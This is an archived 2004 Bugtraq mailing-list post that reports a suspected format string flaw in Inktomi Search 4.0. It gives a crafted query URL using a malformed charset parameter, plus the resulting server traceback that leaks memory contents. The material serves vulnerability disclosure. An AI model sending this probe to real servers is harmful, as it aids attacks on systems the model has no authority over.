bugtraq - Format String vuln in Inktomi Search4.0

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 02 Mar 2004 13:59:08 +1100
From: "Blurred Vision" <really_blurred_vision@...mail.com>
To: bugtraq@...urityfocus.com
Subject: Format String vuln in Inktomi Search4.0


Besides the discussion found here:
http://lists.virus.org/dw-0day-0306/msg00071.html

Which confirms the existance of a format string bug, has anyone seen anymore
on the following FS bug in inktomi search?

URL:	http://<vuln_inktomisearch_server>/query.html?charset=%3

RESPONSE:
Internal Server Error
Server cannot complete operation
exceptions.UnicodeError: unknown encoding 0'<meta htPk.. k.. u': ', u'Server
cannot complete operati.
  File httpsrvr.py, line 501, in parse_qs
    charset = "0'<meta htPk\031\002\240k\031\002 u': ', u'Server cannot
comple
    enclst = [('charset', ["0'<meta htPk\031\002\240k\031\002 u': ',
u'Server
    ent = ['charset', '%3']
    idx = 0
    key = 'charset'
    lst = ["0'<meta htPk\031\002\240k\031\002 u': ', u'Server cannot
complete
    nodecode = []
    qs = 'charset=%3'
    query = {'charset': ["0'<meta htPk\031\002\240k\031\002 u': ', u'Server
ca
    self = <httpsrvr.RequestHandler ('XXX.XXX.XXX.XXX', 56730)>
    val = "0'<meta htPk\031\002\240k\031\002 u': ', u'Server cannot complete
o
  File httpsrvr.py, line 778, in handle
    frag = ''
    netloc = '<vuln_inktomisearch_server>'
    parms = ''
    path = '/query.html'
    qs = 'charset=%3'
    query = {'charset': ["0'<meta htPk\031\002\240k\031\002 u': ', u'Server
ca
    req = ''
    scheme = 'http'
    self = <httpsrvr.RequestHandler ('XXX.XXX.XXX.XXX', 56730)>
    server = <httpsrvr.Server ('XXX.XXX.XXX.XXX', 80)>
    thr = 413
  File httpsrvr.py, line 904, in __init__
    client_address = ('XXX.XXX.XXX.XXX', 56730)
    sckt = <socket._socketobject instance at 21957c0>
    self = <httpsrvr.RequestHandler ('XXX.XXX.XXX.XXX', 56730)>
    server = <httpsrvr.Server ('XXX.XXX.XXX.XXX', 80)>

_________________________________________________________________
Hot chart ringtones and polyphonics. Go to  
http://ninemsn.com.au/mobilemania/default.asp